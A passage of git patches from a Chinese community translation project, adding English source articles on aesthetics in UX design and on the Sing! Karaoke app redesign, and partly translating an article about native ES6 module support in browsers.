diff --git a/TODO/design-principle-aesthetics.md b/TODO/design-principle-aesthetics.md
new file mode 100644
index 00000000000..62107e53f0e
--- /dev/null
+++ b/TODO/design-principle-aesthetics.md
@@ -0,0 +1,160 @@
+> * 原文地址：[Design principle: Aesthetics](https://uxdesign.cc/design-principle-aesthetics-af926f8f86fe)
+> * 原文作者：[Anton Nikolov](https://uxdesign.cc/@antonnikolov?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Design principle: Aesthetics #
+
+## The power of beauty in design ##
+
+![](https://cdn-images-1.medium.com/max/1000/1*MswMrIcOLRg9mgkb9w1WOA.jpeg)
+
+Today’s article is about understanding what is aesthetic design and its importance for the perception of usability. Humans like pretty and shiny design; they desire it much more than functional one.
+
+We enjoy looking and using aesthetically pleasing design, because it satisfies our senses, it gives us pleasure.
+
+Designers tend to think of aesthetics as the visuals of the design. However, aesthetic design consists of more elements than just how it looks.
+
+### What is aesthetic design? ###
+
+There is a whole branch of philosophy exploring aesthetics. Let’s scratch the surface of the Aesthetics field and learn how it relates to our design work.
+
+There is a phenomenon that social psychologists call “*the halo effect*”. It means humans tend to assume that good-looking people have other positive qualities aside from their looks.
+
+The same is valid for product design. **Good looking products and user interface are perceived as more valuable and having more qualities.**
+
+“Beauty is in the eye of the beholder”. **Aesthetics are in all our senses, not just the sight**. Aesthetic design is a 4D experience. Product designers, who are doing actual physical products are aware of that.
+
+With the emergence of VR and AR technologies it becomes more important for digital designers to consider the 4D experience too.
+
+![](https://cdn-images-1.medium.com/max/800/1*-MOG4SeSZzD5YexmZlPQ2g.gif)
+
+There are 4 important categories, which can make or break the aesthetics of our designs.
+
+#### Vision: ####
+
+The most dominant sense in majority of people is our sight. We can’t stop ourselves to look at what we find beautiful. It is as if the light that reflects from the beautiful design acts as a magnet for our eyes.
+
+***Visual aesthetics have these key elements:*** *Color, Shape, Pattern, Line, Texture, Visual weight, Balance, Scale, Proximity and Movement*. Using these element well will help us achieve good visual aesthetics.
+
+#### Hearing: ####
+
+Our ears are capable of perceiving a whole another level of aesthetic design. The ability to hear how your car engine works, how the digital product notifies you of new messages and etc. This is the power of sound aesthetics.
+
+***Sound aesthetics have these key elements:*** *Loudness, Pitch, Beat, Repetition, Melody, Pattern and Noise*. Using them well will create enjoyable “music” for our users.
+
+#### Touch: ####
+
+Skin is the largest organ in human body. It also helps us experience the aesthetics. **Material aesthetics are especially important for physical products.**
+
+![](https://cdn-images-1.medium.com/max/800/1*Z-WitCNfF55vRKASqN0oFw.gif)
+
+Just remember, the last time you were buying cloths and feeling their texture or when you were checking out the latest mobile phone and feeling the frame material. Sometimes people make there buying decisions only based on the material aesthetics. Powerful stuff are these material aesthetics.
+
+***Material aesthetics key elements are:*** *Texture, Shape, Weight, Comfort, Temperature, Vibration and Sharpness*. By mastering them we can make our customers adore our products.
+
+#### Taste and Smell: ####
+
+Taste and Smell are sense that help us experience aesthetics even more deeply. Especially in food industry and different environment designs, these senses play an important role in experiencing aesthetics.
+
+***Key elements are:*** *Strength, Sweetness, Sourness and Texture (for taste)*. Use these elements when possible to enhance the full picture, so our users can feel the aesthetics even deeper.
+
+Now that we know a bit more about aesthetic design, let’s look at why it matters.
+
+### Why aesthetic design matters? ###
+
+Not long ago user were expecting only functional and usable products when they were buying. Today, users expectations have evolved together with the design field.
+
+People expect usability by default and are seeking products that are more than functional and usable. We want to experience pleasure, to stimulate our senses. We want the products we use to evoke positive emotion in us. Aesthetic design is crucial to satisfy these needs.
+
+We all judge the book by its cover. The better the book cover the more we believe the content is better. This is phenomenon called “*Aesthetic-usability*”. **Beautiful products/objects are perceived as easier to use and more valuable than ugly ones**. Even if it is not true!
+
+![](https://cdn-images-1.medium.com/max/800/1*em7ea44XLR21VpdJ40XHIQ.gif)
+
+This phenomenon is especially valid when the products compared are equal in functionality and ease of use. The better looking product will win over the users swiftly.
+
+Aesthetically pleasing designs are bringing up positive attitude in the users. It makes them care more about the product. Aesthetic design makes people more loyal of the brand and tolerant toward mistakes or failures. Imagine all the apple fans.
+
+Early impressions of a product design matter! Aesthetic design is influencing how people think and feel. It influences how much pleasure we feel from the product. Aesthetic design affects our long-term attitude about products and even people.
+
+Aesthetic design matters not only to make the first impression, but also to keep strengthening the bond with the user. The design of our products needs to be aesthetically pleasing consistently across the whole product and user journey.
+
+### Design for aesthetic pleasure ###
+
+Let’s see how the words above can be useful for us to make better design. We have to design products that deliver pleasure to the user with aesthetics and usability.
+
+But when aesthetics are in the senses of our users, how do we know what to design? The answer can be given by the people we’re designing the product/experience for. We need to understand them before deciding what is aesthetically pleasing.
+
+When we are designing products for really wide audience it is wiser to [keep things simple](https://uxplanet.org/design-principles-kiss-the-feature-creep-7eb84b09603f) as much as possible!
+
+There are 4 important pleasure aspect that we need to consider when we want to make our designs aesthetically pleasing.
+
+#### Psychical pleasure ####
+
+Pleasure derived mostly from touch, smell and taste. Think of designing hand-held product, computer devices, VR set even a normal pen.
+
+We need to make sure the design is ergonomic, it feels comfortable and doesn’t overload the user senses. Consider how sensitive are your user’s senses, what is the average norm. Make sure the smell and taste is either neutral or brings positive associations.
+
+#### Social pleasure ####
+
+Pleasure derived from interacting with other people or with AI(still not that common). This context is very broad it can be from home assistant device and VR experiences to a room/building where social events will be hosted.
+
+![](https://cdn-images-1.medium.com/max/800/1*vZ35eZZ-bVzN-wnQ1tR3zw.gif)
+
+We need to make sure the design supports social interaction in the best way possible. It could be as simple as the sound aesthetics of the coffee machine that allows employees to communicate, while waiting for the coffee to be ready.
+
+#### Psychological pleasure ####
+
+Pleasure derived from completing a task or feeling in control and safe. This context is very tightly related to the usability of the product. But it can be also related to how the product design looks.
+
+For example, a solid and stable looking car gives more psychological comfort than one that seems it might break if you open the door. Same is valid for digital products where the user feels in control and knows the task can be completed for sure.
+
+Making things look and feel simple and stable. Guiding the user with great composition and motion. Using aesthetics plays a big role in making the users feel safe and in control.
+
+#### Ideological pleasure ####
+
+This context is mostly about abstract pleasure. I like to think of it as the glue that binds the other pleasure types. It is the meaning of the words in the books not the colors, font sizes and page layouts.
+
+For example, in product design taking the sustainability angle can trigger pleasure in the user, making her feel well because she is responsible for the environment. Here are a [5 startups that are using that context](https://medium.com/age-of-awareness/my-top-five-favorite-sustainable-companies-5922246eab45).
+
+We need to make sure that our designs communicate ideas and deeper meaning. This can frequently result in very deep aesthetically pleasure once the user realizes it.
+
+### Balancing aesthetics and usability ###
+
+There are cases where we need to sacrifice aesthetics, due to different limitations depending on the context. Other times aesthetics could dominate the usability aspect.
+
+#### Aesthetics and usability in balance ####
+
+This is what most of the cases as Designers we should strive to achieve in our designs. There are many good examples from smart phones and apps to computer chairs that look and feel good, but also have the desired usability.
+
+#### Aesthetics over usability ####
+
+Some times products have dominating aesthetics that are not supported by good usability and ergonomics. This is mostly visible in the fashion industry.
+
+![](https://cdn-images-1.medium.com/max/800/1*naljt3BpP4cF1XydNAFkEw.gif)
+
+I guess these might be nice in winter time :)
+
+Shoes made to look nice and attractive, while at the same time destroying the feet of the user. This demonstrates clearly how humans can be seduced by aesthetic design and even at the price of their health.
+
+#### Usability over aesthetics ####
+
+Other times usability must be on focus no matter what. Equipment designed for emergency situations, where people cognition is compromised. In this cases aesthetics are with low priority. When designing for such cases there are a lot of constraints from different authorities and requirements. Using [Hick’s law for quick decision making](https://uxplanet.org/design-principles-hicks-law-quick-decision-making-3dcc1b1a0632) can help you make the better design decisions.
+
+### Final thoughts ###
+
+First impression matters. When we perceive beauty with more of our senses we feel deeper pleasure from the design. Aesthetic design gives users pleasure from the start! It makes them form a bond with the design, bond that goes beyond the initial interaction.
+
+Aesthetic design is perceived as more friendly, usable and valuable.
+
+#### Call to action ####
+
+*If you found this article useful* ***tap the***💚 *so others can enjoy it, too.*
+
+*Thanks for your time! Follow me on [*Twitter*](https://twitter.com/ainikolov)  and [*LinkedIn*](https://www.linkedin.com/in/antonnikolov/) .*
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 4fab789c3526b4b31399c3ffb9e73b4a3e1bf197 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 25 Apr 2017 22:55:30 +0800
Subject: [PATCH 257/638] Create yeah-redesign-part-1.md

---
 TODO/yeah-redesign-part-1.md | 121 +++++++++++++++++++++++++++++++++++
 1 file changed, 121 insertions(+)
 create mode 100644 TODO/yeah-redesign-part-1.md

diff --git a/TODO/yeah-redesign-part-1.md b/TODO/yeah-redesign-part-1.md
new file mode 100644
index 00000000000..5c105a26aaf
--- /dev/null
+++ b/TODO/yeah-redesign-part-1.md
@@ -0,0 +1,121 @@
+> * 原文地址：[Yeah, redesign(Part 1)](https://medium.muz.li/yeah-redesign-part-1-b61af07eb41a)
+> * 原文作者：[Jingxi Li](https://medium.muz.li/@jingxili?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+![](https://cdn-images-1.medium.com/max/2000/1*ZZP4Og3NWAYova0lgaTqHg.jpeg)
+
+# Yeah, redesign(Part 1) #
+
+## How to approach redesign in the mobile world ##
+
+As a design leader, I ask myself constantly: “How can my team continuously deliver the best product experience to our Users?” My answer is always the same, ‘we need to consider our Users’ constantly changing and evolving tastes in a rapidly growing community’. However, if redesigning the product experience is the solution, how do we begin an internal conversation to get that process started? How do we achieve a scalable solution, balancing new features and designs, while also maintaining the product’s identity?
+
+If you are facing the same design challenges, I hope this article will help you find the answers you need to the following questions:
+
+> **1. Why does a product need redesign when its users already love it?**
+
+> **2. How do you execute redesign in a fast paced data driven company?**
+
+> **3. How do you measure results?**
+
+> **4. What is the next step?**
+
+To help answer these questions, I would like to share the redesign experience we had on our flagship product Sing! Karaoke and walk you through the approach our team took to overcome obstacles along the way.
+
+When I first joined the company two and a half years ago, we had four teams, each assigned to one of the following apps: Sing! Karaoke, Magic Piano, Autoharp and Guitar. Each of the teams consisted of one designer, one product manager, and two or three engineers. With different growth speeds, we saw Sing! become the leading app in the Smule family. The company decided to shift focus from an app based development structure to a feature based structure. This means more efforts and features were added to Sing and more design collaboration is needed between the designers. With business changes, we knew our existing product design and process would not meet the needs for scaling the team and satisfying our Users.
+
+We knew that a redesign would not be a solitary project and would need to engage our users, designers, product managers, engineers and executive staffs. Have these parties buy into at early stage for the reasons of redesign and provide feedback for “how” the redesign should happen helped us set a clear goal what redesign would achieve in four areas:
+
+![](https://cdn-images-1.medium.com/max/2000/1*ZsWu9BZbUZzS0FqMxTPcPA.jpeg)
+
+source:shutterstock
+
+> **Improve users experience**
+
+> **Empower design team for scale**
+
+> **Increase product engagement**
+
+> **Build a sustainable engineering solution**
+
+
+### **1. Improving Sing! user experience by** ###
+
+#### *Bring the consistency and continuity into Sing! experience* ####
+
+From many users research, we have known that consistency is one of the strongest contributors to usability. Sing! is a fun product with many features. When the product was released in 2012, it had fewer features and a smaller user base. These fewer features, resulted in a design that employed different colors to represent separate content in different contexts. For example, previous versions of Sing! had more than four colors to display ‘Call to Actions’ on various uses. While the old design aimed to please its users, we noticed that the multiple colors CTAs also confused new Users. This means that the redesign needs to establish a consistent UI language to improve our current user experiences.
+
+#### *Improve new user engagement* ####
+
+From conducting user studies, we noticed that new users brought their previous experiences, interacting with UIs from other apps and products, into assumptions about how their first time interactions with Sing! would function. And, most importantly, when the Sing! interface did not correspond with the user’s expectations, extra energy was spent learning and understanding the interface, which made trying this new product both exciting but also nerve-wracking. We surmised that increasing standard UIs, or updating custom UIs to match patterns that have developed in the redesign would help Users get more familiar with our product more quickly and easily. It helps user ease into understanding the product quickly which led to better engagement.
+
+#### *Increase existing user retention* ####
+
+Interactions with apps have quantifiable costs that are both physical and mental. Physical costs measure the number of steps required of a user to achieve a specific goal, or time. Mental costs measure the intrinsic and extraneous cognitive load required of a user to complete a task or achieve a goal, or stress. For example, when Sing! users want to start a duet with another user, they have to navigate through multiple UIs to achieve this goal, which costs the user both time and stress which does not enhance understanding of the content. It is the belief and plan that using clear standard interactions and UI design, will significantly reduce user’s physical and mental costs.
+
+![](https://cdn-images-1.medium.com/max/2000/1*ZH2VNJu33_eaMvPVikPUxg.jpeg)
+
+source:shutterstock
+
+### 2. Empowering design team for scale ###
+
+#### *Create a new font for Sing!* ####
+
+Sing! started with Gotham font, a font inspired by mid-century architecture setting of New York City. Gotham is a great font to celebrates Smule’s fun, whimsical and welcoming feelings. It still represents Smule’s brand identity through today. However, Gotham is a font intended to be used in print and media applications. When rendered on mobile devices, it caused many issues. Gotham has a wide kerning and takes more space in a given word or sentence. Mobile devices have limited real estate (screen size), therefore designers must always make the extra effort to make sure the text works well in both iOS and Android environments. Many times, the font size has to be reduced to make it fit in the small space, causing a readability issue for users. Another issue caused by Gotham is it’s lower baseline. Because of this, the engineers have to manually, and visually, make sure copy is centered. As you can see by these examples, we encountered many design bugs during development as a result. We know now that finding a scalable and platform standard font is one of the critical decisions we have to make during the redesign.
+
+#### *Sing! needs to standardize its’ design language* ####
+
+Design is a creative process that is both organic and nostalgic. Without a standard UX/UI design guideline in place, the product can become a hodge podge of the aesthetics of each designer who worked on the project. Keep working on these designs caused confusion within the design team, limited designers’ output, and reduced product quality. We knew that our previous Sing! design standard was not clearly defined. This ambiguity caused further delays and difficulties during our design critique and review process. When no one on the team can articulate the design standard that we are aiming for, all feedback and review is judged based on personal preference, thereby invalidating much of it. As a team we understand it will take a collaborative effort to deliver the best product and experience to our users. To that end we recognize that we need a clearly defined standard that is communicated to all design team members for use throughout the redesign and moving forward. This will set the foundation for every product design decision made by the team.
+
+Tremendous growth in the design team has made us realize that a set of rules needs to be established. This guideline will establish the treatment of , IA, layout, fonts, color, imagery, and interactions. The advantage of a guideline is that it will act as a framework that will apply to most design issues speeding up the design process by helping designers to make right design decisions the first time. More importantly the design team needs to create a shared, central repository, updated as frequently as needed, that documents our styles, components, and patterns. With this shared hub in place, improvements in the consistency of designs as well as the quality and quantity of designs is sure to follow. That means, along with the Sing! Redesign, the design team needs to create this guideline so that there is less room for disjointed, personal design styles and the visual appeal of the product will remain consistent. It is our goal that, eventually, the designers won’t have to work on specing icons and think about what the right spec is. Instead, they can focus more on creative design solutions for users.
+
+#### *Design team needs to scale up* ####
+
+With more product features being added and more users joining our Sing family, our design team needs to grow and improve our collaboration. Without a common understanding of building blocks that forms the basis for collaboration, pressures on the team to keep up with this growth can result in communications getting complicated. To ensure our teams are successful, we know our design approach and workflows need to be modularized. This means the redesign team needs need to create some design building blocks that will be the foundation of the redesign and all design efforts. These individual building blocks will help our designers to collaborate easily and split up their works when needed. Furthermore, when a new designer joins, senior members of the team can utilize these building blocks to lead projects and set up clear plans for new members.
+
+![](https://cdn-images-1.medium.com/max/2000/1*Jh6XD2B8Nx3P7mOKZSqJGA.jpeg)
+
+source:shutterstock
+
+### 3. Increasing product engagement by ###
+
+#### *Improve the new user onboarding experience* ####
+
+When new users try a new app, they are learning two things at once: (1) features of this app and (2) how to access those features. Without a clear and standardized UI/UX design, users might not fully understand the individual interface elements in the app and get lost. In order to let the user focus on using the product functions rather than navigating interface designs, we need to understand new users’ expectations and clearly communicate information valuable to them. Overall, the new design should simplify the confusing portions of our app and allow the user to feel comfortable to try and interact with new features.
+
+#### *Increase user retention* ####
+
+At Smule, we closely monitor user retention defined as how many of the new users come back to the app after their first time experience in subsequent days, such as day 2 and day 7. If a user didn’t have a good first time experience, they are less likely to come back on day 2. Through user studies, we found users enjoyed many of the features if they found the entry point. Or they requested features that already existed. These findings indicated that our design navigation wasn’t aligned with users’ intentions. If the design is not helping users know where they are and how they can access the features in their mind, they might get confused and lost their interests to continue to use Sing. With the redesign, we need to come up a better navigation what meet users intention and product business goals.
+
+#### *Improve development and release cycle* ####
+
+By the time we started to consider redesign in 2014, the product features on iOS and Android were not the same. Sing! iOS was more feature rich than Sing! Android. This lack of consistency between iOS and Android doubled the work for the design team and delayed development cycles. Sing! had gained a lot of new users by the time we started to think redesign. We wanted to carry that momentum and speed up our product design and development cycles. With that in mind, we know the redesign needs to improve our internal design team work flow and efficiency. The redesign can cut design and development time by 50%, which will give us more chances to test and release new features with current resources.
+
+![](https://cdn-images-1.medium.com/max/2000/1*P4nIML48uPpJuVX-ut1tcg.jpeg)
+
+source:shutterstock
+
+### 4. Building sustainable engineering solution by ###
+
+#### *Improve development process* ####
+
+Inconsistent UI not only caused usability issues but also created additional work overload for designers and engineers. For example, for a single icon, designers created multiple colors or sizes assets to be used in different scenarios. To make sure engineers placed the assets in the right screen, designers spent almost an extra 40% of their time to spec and create assets for engineers. On the other side, engineers needed to follow the specs, writing customized code to make sure each asset is in the right location. It sounds simple on paper, but when accounting for other variables like screen sizes and platform (iOS & Android), the process became hideous. After talking with engineers, both designers and engineers want to collaborate with each other in a better way. This brought up another perspective on the needs of the redesign: create a systematic approach on how designers and engineers can set up and build product efficiently.
+
+#### *Increase product development quality* ####
+
+It is designers’ responsibility to do the design QA, and ensure the design was implemented correctly. The most frustrating moment for designers and engineer was: engineering fixing a design bug by changing some part of the design, which created another bug. As a consequence, engineers spend more time fixing design bugs, and there were still no guarantee that the implementation will match the design without bugs . We know that it is unrealistic to ask the redesign to address all the design bugs that may be encountered up front, but creating a standard central design guideline on how to set margins, how to create icon sizes, and how to apply for pressed status, etc. would limit the chances that previous scenarios happen.
+
+#### *Prepare for global localization* ####
+
+By the time we started to think redesign, Sing had moved from US centric app to an international product. To serve the community of global users, we localized Sing! from 12 languages to 20 languages. When applying foreign language into an English-based app, the UI could easily break. For example, compared to English, German or Russian takes more characters to express the same meanings. A defined limited space that would normally fit English labels would not work for German and Russian. Without a clear rule on how to set spacing and apply the right hierarchy, our localized languages were either cut off or presented in the smaller sizes. Addressing these issues for each language one by one consumed a lot of efforts from our engineers and QA. We know through the redesign, we need to find a sustainable solution that could optimize for all the different languages that we have or might have in the future.
+
+![](https://cdn-images-1.medium.com/max/2000/1*cAPZbmDZEe5byrPDOB7QVA.jpeg) 
+
+source:shutterstock
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 93c951b7ae0a138a3e1ad44556bbce244bc96b12 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Tue, 25 Apr 2017 23:18:18 +0800
Subject: [PATCH 258/638] Update
 es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md

---
 ...browsers-is-it-time-to-rethink-bundling.md | 140 +++++++++---------
 1 file changed, 71 insertions(+), 69 deletions(-)

diff --git a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
index 2481f7b2bab..c36bb6bbcc2 100644
--- a/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
+++ b/TODO/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling.md
@@ -1,23 +1,22 @@
 > * 原文地址：[ES6 modules support lands in browsers: is it time to rethink bundling?](https://www.contentful.com/blog/2017/04/04/es6-modules-support-lands-in-browsers-is-it-time-to-rethink-bundling/)
 > * 原文作者：[Stefan Judis](https://www.contentful.com/about-us/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[lsvih](https://github.com/lsvih)
 > * 校对者：
 
-#  ES6 modules support lands in browsers: is it time to rethink bundling?  #
+#  ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？  #
 
 ![](http://images.contentful.com/256tjdsmm689/3xFvPzCb6wUek00gQAuU6q/0e8221e0e5c673f18d20448a9ba8924a/Contentful_ES6Modules_.png) 
 
-Writing performant JavaScript applications is a complex matter these days. Years ago, everything started with script concatenation to save HTTP requests, and then it continued with minification and wrangling of variable names to squeeze out even the last tiny bit of the code we ship.
+最近一段日子，编写高效的 JavaScript 应用变得越来越复杂。早在几年前，大家都还使用脚本连接来减少 HTTP 请求数；后来有了压缩工具，人们为了压缩代码而缩短变量名，甚至连代码的最后一字节都要省出来。
 
-Today we have [tree shaking](https://blog.engineyard.com/2016/tree-shaking) and module bundlers, and we go back to code splitting to not block the main thread on startup and speed up [the time to interactivity](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive). We're also transpiling everything: using future features today? No problem – thanks to Babel!
+今天，我们有了  [tree shaking](https://blog.engineyard.com/2016/tree-shaking)  和各种模块打包器，我们为了不在首屏加载时阻塞主进程又开始进行代码分割，[加快交互时间](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive)。我们还开始移植一切东西：感谢 Babel，让我们能够在现在就使用未来的特性。
 
-ES6 modules have been defined in the ECMAScript specification [for a while already](http://2ality.com/2014/09/es6-modules-final.html). The community wrote tons of articles on how to use them with Babel and how `import` differs from `require` in Node.js, but it took a while until an actual implementation landed in browsers. I was surprised to see that Safari was the first one shipping ES6 modules in its technology preview channel, and now Edge and Firefox Nightly also ship this feature – even though it's behind a flag. After having used tools like [RequireJS](http://requirejs.org/) and [Browserify](http://browserify.org/) (remember [the AMD and CommonJS discussions](https://addyosmani.com/writing-modular-js/)?) it looks like modules are finally arriving in the browser landscape, so let's see a look what the bright future will bring. 🎉
+ES6 模块由 ECMAScript 标准制定，直到[最近才定稿](http://2ality.com/2014/09/es6-modules-final.html)。社区为它写了很多的文章，讲解如何通过 Babel 使用它们，以及 `import` 和 Node.js 的  `require` 的区别。但是要在浏览器中真正实现它还需要一点时间。我惊喜地发现 Safari 在它的 technology preview 版本中第一个装载了 ES6 模块，并且 Edge 和 Firefox Nightly 版本也将要装载 ES6 模块——虽然目前还不支持。在使用 `RequireJS` 和 `Browserify` 之类的（还记得关于 [AMD 与 CommonJS  的讨论吗](https://addyosmani.com/writing-modular-js/)？）工具后，模块化支持似乎最终抵达了浏览器。让我们来看看明朗的未来带来了怎样的礼物吧！🎉
 
+## 传统方法 ##
 
-## The traditional setup ##
-
-The usual way to build web applications is to include one single bundle that is produced using Browserify, Rollup or Webpack (or any other tool out there). A classic website that's not a SPA (single page application) consists of server-side generated HTML, which then includes a single JavaScript bundle.
+现在构建 web 应用的常用方式就是使用由 Browserify、Rollup、Webpack 等工具构建的代码包（bundle）。而不使用 SPA（单页面应用）技术的网站则通常由服务端生成 HTML，在其中引入一个 JavaScript 代码包。
 
 ```
 <html>
@@ -32,7 +31,7 @@ The usual way to build web applications is to include one single bundle that is
 </html>
 ```
 
-The combined file includes three JavaScript files bundled with Webpack. These files make use of ES6 modules:
+我们使用 Webpack 打包的代码包中包括了 3 个 JavaScript 文件，这些文件使用了 ES6 模块：
 
 ```
 // app/index.js
@@ -59,11 +58,11 @@ export default function() {
 }
 ```
 
-The result of this app will be a "Hello world" telling us that all files are loaded.
+这个 app 将会显示“Hello world”，以此告诉我们文件加载完成。
 
-### Shipping a bundle ###
+### 装载一个代码包（bundle） ###
 
-The Webpack configuration to create this bundle is relatively straightforward. There is not much happening right now except for the bundling and minification of the JavaScript files using UglifyJS.
+配置使用 Webpack 创建一个代码包相对来说比较简单。在构建过程中，除了打包和使用 UglifyJS 压缩 JavaScript 文件之外并没有做别的什么事。
 
 ```
 // webpack.config.js
@@ -83,7 +82,7 @@ module.exports = {
 };
 ```
 
-The three base files are relatively small and have a total size of 347 bytes.
+3 个基础文件比较小，加起来只有 347 字节。
 
 ```
 $ ll app
@@ -93,7 +92,7 @@ total 24
 -rw-r--r--  1 stefanjudis  staff   197B Mar 16 19:33 index.js
 ```
 
-When I ran this through Webpack, I got a bundle with the size of 856 bytes, which is roughly 500 bytes boilerplate. These additional bytes are acceptable, as it's nothing compared to the bundles most of us ship in production. Thanks to Webpack, we can already use ES6 modules.
+在我通过 Webpack 构建之后，我得到了一个 856 字节的代码包，大约增大了 500 字节。增加这么些字节还是可以接受的，这个代码包与我们平常生产环境中做代码装载没啥区别。感谢 Webpack，现在我们可以使用 ES6 模块了。
 
 
 ```
@@ -108,42 +107,42 @@ bundle.js   856 bytes   0       [emitted]  main
   [2] ./app/index.js 202 bytes {0}[built]
 ```
 
-## The new setup using native supported ES6 modules ##
+## 使用新设定支持原生 ES6 模块 ##
 
-Now that we have the "traditional bundle" for all the browsers that don't support ES6 modules yet, we can start playing around with the cool stuff. To do so, let's add in the `index.html` file a new script element pointing to the ES6 module with `type="module"`.
+现在，我们得到了一个“传统的打包代码”，现在所有还不支持 ES6 模块的浏览器都支持这种打包的代码。我们可以开始玩一些有趣的东西了。让我们在 `index.html` 中加上一个新的 script 元素，使用 `type="module"` 指明这是 ES6 模块。
 
 
 ```
 <html><head><title>ES6 modules tryout</title><!-- in case ES6 modules are supported --><script src="app/index.js"type="module"></script><script src="dist/bundle.js"defer></script></head><body><!-- ... --></body></html>
 ```
 
-When we take a look at Chrome, we'll see that there is not much more happening.
+然后我们在 Chrome 中看看，发现并没有发生什么事。
 
 ![image01](http://images.contentful.com/256tjdsmm689/4JHwnbyrssomECAG2GI8se/e8e35adc37bc0627f0902bcc2fdb52df/image01.png)
 
-The bundle is loaded as before, "Hello world!" is shown, but that's it. And that's excellent, because this is how web works: browsers are forgiving, they won't throw errors when they don't understand markup we send down the wire. Chrome just ignores the script element with the type it doesn't know.
+代码包还是和之前一样加载，“Hello world!” 也正常显示。虽然没看到效果，但是这说明浏览器可以接受这种它们并不理解的命令而不会报错，这是极好的。Chrome 忽略了这个它无法判断类型的 script 元素。
 
-Now, let's check the Safari technology preview:
+接下来，让我们在 Safari technology preview 中试试：
 
 ![Bildschirmfoto 2017-03-29 um 17.06.26](http://images.contentful.com/256tjdsmm689/1mefe0J3JKOiAoSguwMkka/0d76c5666300ed0b631a0fe548ac5b52/Bildschirmfoto_2017-03-29_um_17.06.26.png)
 
-Sadly, there is no additional "Hello world" showing up. The reason is the difference between build tools and native ES modules: whereas Webpack figures out which files to include during the build process, when running ES modules in the browser, we need to define concrete file paths.
+遗憾的是，它并没有显示另外的“Hello world”。造成问题的原因是构建工具与原生 ES 模块的差异：Webpack 是在构建的过程中找到那些文件需要 include 的，而 ES 模块是在浏览器中运行的时候才去取文件的，因此我们需要为此指定正确的文件路径：
 
 ```
 // app/index.js
 
-// This needs to be changed
+// 这样写不行
 // import dep1 from './dep-1';
 
-// This works
+// 这样写能正常工作
 import dep1 from './dep-1.js';
 ```
 
-The adjusted file paths work great, except for the fact that Safari preview now loads the bundle and the three individual modules, meaning that our code will be executed twice.
+改了文件路径之后它能正常工作了，但事实上 Safari Preview 加载了代码包，以及三个独立的模块，这意味着我们的代码被执行了两次。
 
 ![image02](http://images.contentful.com/256tjdsmm689/6MeIDF7GuW6gy8om4Ceccc/a0dba00a4e0f301f2a7fd65449d044ab/image02.png)
 
-The solution is the `nomodule` attribute, which we can set on the script element requesting the bundle. This attribute [was added to the spec quite recently](https://github.com/whatwg/html/commit/a828019152213ae72b0ed2ba8e35b1c472091817) and Safari Preview supports it as of the [end of January](https://trac.webkit.org/changeset/211078/webkit). It tells Safari that this script is the "fallback" script for the lack of ES6 modules support, and in this case shouldn't be executed.
+这个问题的解决方案就是加上 `nomodule` 属性，我们可以在加载代码包的 script 元素里加上这个属性。这个属性[是最近才加入标准中的](https://github.com/whatwg/html/commit/a828019152213ae72b0ed2ba8e35b1c472091817)，Safari Preview 也是在[一月底](https://trac.webkit.org/changeset/211078/webkit)才支持它的。这个属性会告诉 Safari，这个 script 是当不支持 ES6 模块时的“退路”。在这个例子中，浏览器支持 ES6 模块因此加上这个属性的 script 元素中的代码将不会执行。
 
 ```
 <html>
@@ -162,22 +161,26 @@ The solution is the `nomodule` attribute, which we can set on the script element
 
 ![image03](http://images.contentful.com/256tjdsmm689/1YchZEromA2ueKUCoYqMsc/2c68c46ffd2a3ad73d99d17020d56093/image03.png)
 
-That's good. With the combination of `type="module"` and `nomodule`, we can load a classic bundle in not supporting browsers and load JavaScript modules in supporting browsers.
+现在好了。通过结合使用 `type="module"` 与 `nomodule`，我们现在可以在不支持 ES6 模块的浏览器中加载传统的代码包，在支持 ES6 模块的浏览器中加载 JavaScript 模块。
+
+你可以在 [es-module-on.stefans-playground.rocks](http://es-module-on.stefans-playground.rocks/) 查看这个尚在制定的规范。
 
-You can check out this state in production at [es-module-on.stefans-playground.rocks](http://es-module-on.stefans-playground.rocks/).
+### 模块与脚本的不同 ###
 
-### Differences between modules and scripts ###
